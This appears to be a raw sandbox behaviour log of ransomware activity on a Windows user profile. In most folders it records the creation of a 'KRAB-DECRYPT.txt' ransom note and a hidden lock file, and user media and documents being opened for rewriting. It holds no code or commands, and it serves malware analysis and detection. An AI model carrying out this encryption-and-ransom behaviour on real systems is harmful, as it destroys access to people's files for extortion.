Create C:\Users\CIiHmnxMn6Ps\Documents\My Music\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\My Pictures\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\My Pictures\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\My Shapes\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\My Shapes\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\My Shapes\_private\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\My Shapes\_private\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\My Videos\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\My Videos\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\OneNote Notebooks\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\OneNote Notebooks\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\OneNote Notebooks\My Notebook\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\OneNote Notebooks\My Notebook\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\OneNote Notebooks\My Notebook\Open Notebook.onetoc2 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\OneNote Notebooks\My Notebook\Quick Notes.one desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\Outlook Files\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\Outlook Files\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\Outlook Files\lcfkj@kiekc.df.pst desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\PDlJyaZFT.docx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\Pql49pC_7UmpR7.pptx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\QImaw2GHVdQy7N2Eh.xlsx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\rWV5CvNxEpNqx0.xlsx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\UhD22a.docx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\Vtjy6.xlsx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\VZ32vZLq0.xlsx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\Wa8LD PjInNc.docx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\WpJ6.ppt desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\xN1EVc wlB0mW6.docx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Documents\ZwNP7.docx desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Downloads\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Downloads\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Favorites\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Favorites\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Favorites\Bing.url desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Favorites\Links\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Favorites\Links\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Links\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Links\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE False 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\-c6vpX_SqZGq97r z.m4a desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\7tTH3KwoEqko2i\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\7tTH3KwoEqko2i\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\7tTH3KwoEqko2i\rsRZea_AFWnVh9JT\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\7tTH3KwoEqko2i\rsRZea_AFWnVh9JT\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\7tTH3KwoEqko2i\rsRZea_AFWnVh9JT\8Zaw0HvYd2tdk.wav desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\7tTH3KwoEqko2i\rsRZea_AFWnVh9JT\VOPWwMKh2.m4a desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\7tTH3KwoEqko2i\sFjg8TYOeS W71n.mp3 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\CEC_ty9-ROAAa-lKe\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\CEC_ty9-ROAAa-lKe\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\CEC_ty9-ROAAa-lKe\8v0TUg.wav desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\CEC_ty9-ROAAa-lKe\KUqlS9GQ4u 1q.mp3 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\GtMXn YY\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\GtMXn YY\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\GtMXn YY\1i AJshc.wav desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\GtMXn YY\cHy7.wav desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\GtMXn YY\L42BKK\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\GtMXn YY\L42BKK\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\GtMXn YY\L42BKK\CLou.mp3 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\GtMXn YY\L42BKK\umtd1tt3jIzDw.mp3 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\GtMXn YY\l8ACBxU.m4a desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\GtMXn YY\z0HrcUM51wHz0MivFQhK.m4a desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\oC1v6qnGcLk\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\oC1v6qnGcLk\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\oC1v6qnGcLk\1F7Q0\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\oC1v6qnGcLk\1F7Q0\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\oC1v6qnGcLk\1F7Q0\d2cnPMt Py.wav desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\oC1v6qnGcLk\1F7Q0\i_PKOGJ2XV.wav desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\oC1v6qnGcLk\1F7Q0\LbU7_5tdOb5wKqaG.mp3 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\oC1v6qnGcLk\1F7Q0\m7c7gt62.m4a desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\oC1v6qnGcLk\1F7Q0\NUqk-.wav desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\oC1v6qnGcLk\1F7Q0\smaZj9308SZR_gdteWA.wav desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\oC1v6qnGcLk\Cu5ePZX R9qPU\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\oC1v6qnGcLk\Cu5ePZX R9qPU\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\oC1v6qnGcLk\plMbICm9J-.mp3 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\oC1v6qnGcLk\pSj_\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\oC1v6qnGcLk\pSj_\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\oC1v6qnGcLk\pSj_\7jxojVIzKi.m4a desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\oC1v6qnGcLk\pSj_\IIcNHHkLQJz3EE2VkiJN.mp3 desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\oC1v6qnGcLk\pSj_\ZwFgPRWxbpjXWl1q.wav desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\oC1v6qnGcLk\Zyl8NkUlADcyx.wav desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\9FGr28gE\YBmR3c0F8Rck.m4a desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Music\Gw2dlbXFcR.m4a desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\My Documents\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE False 1
Fn
Create C:\Users\CIiHmnxMn6Ps\My Documents\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\NetHood\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\NetHood\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\ntuser.dat.LOG1 desired_access = GENERIC_WRITE, GENERIC_READ False 1
Fn
Create C:\Users\CIiHmnxMn6Ps\ntuser.dat.LOG2 desired_access = GENERIC_WRITE, GENERIC_READ False 1
Fn
Create C:\Users\CIiHmnxMn6Ps\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TM.blf desired_access = GENERIC_WRITE, GENERIC_READ False 1
Fn
Create C:\Users\CIiHmnxMn6Ps\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000001.regtrans-ms desired_access = GENERIC_WRITE, GENERIC_READ False 1
Fn
Create C:\Users\CIiHmnxMn6Ps\NTUSER.DAT{77a2c7ed-26f0-11e5-80da-e41d2d741090}.TMContainer00000000000000000002.regtrans-ms desired_access = GENERIC_WRITE, GENERIC_READ False 1
Fn
Create C:\Users\CIiHmnxMn6Ps\ntuser.ini desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\OneDrive\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\OneDrive\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE False 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\0JkHCwq2jkp.gif desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\Camera Roll\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\Camera Roll\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\cLa7oJk\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\cLa7oJk\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\cLa7oJk\3ZrDCz9Yil.png desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\cLa7oJk\ag0sPejby4OATg7UoJ.bmp desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\cLa7oJk\i892iq06tW6N2mNv4x.png desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\cLa7oJk\IAKn_V.bmp desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\cLa7oJk\JlnNPIoNdeUX9i2NWw.gif desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\cLa7oJk\LJxOUSvOT.gif desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\cLa7oJk\quMc_.bmp desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\cLa7oJk\QYMz4STC1xQ.bmp desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\cLa7oJk\s9qnpo.gif desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\cLa7oJk\UcCOaH2h6zxaMLWc.jpg desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\cLa7oJk\XoJNBNfrrrF4m.png desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\oNi8flHIsYzdQO.gif desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\or CEj.jpg desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\2tapAPbuTZiZG3d5I_.png desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\3lGM U270620IlIDNS.bmp desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\4t81U0hD63I8tMdh7X.png desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\8TUdLIP.bmp desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\JOb0TwYbdocjGXq.gif desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\JW74pdf7vQ.gif desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\pwB0rFj60e.jpg desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\S15WT4gPHEGLk.jpg desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\TM_2G.gif desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\TPxOHu-l\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\TPxOHu-l\d2ca4a08d2ca4dee3d.lock desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_HIDDEN, FILE_FLAG_DELETE_ON_CLOSE, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\TPxOHu-l\2taJDfZve.gif desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\TPxOHu-l\cBvo6QF.bmp desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\TPxOHu-l\ge OT78oguT7pNV.bmp desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\TPxOHu-l\iAZYffNjMNZyS.bmp desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\TPxOHu-l\i_pi0.gif desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\TPxOHu-l\LXwA52Zllk2Ypga4Y.bmp desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\TPxOHu-l\mkDBMOUOpiJ.jpg desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\TPxOHu-l\oFoYenXpMLTIQJhlEsN_.png desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\TPxOHu-l\R pvjcP.png desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\TPxOHu-l\s3Mgfca_coGS9k5.png desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\TPxOHu-l\tqAGKf0.jpg desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\TPxOHu-l\XGx31JJgPT8aU.bmp desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\TPxOHu-l\YBze.png desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\vdI0_fsaRpZ1Fio.bmp desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\W1QYNarOy2.png desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\rKkNRoy7mtqm7yma8Hq\ZsJz1BZJohs.png desired_access = GENERIC_WRITE, GENERIC_READ True 1
Fn
Create C:\Users\CIiHmnxMn6Ps\Pictures\Saved Pictures\\KRAB-DECRYPT.txt desired_access = GENERIC_WRITE True 1
Fn
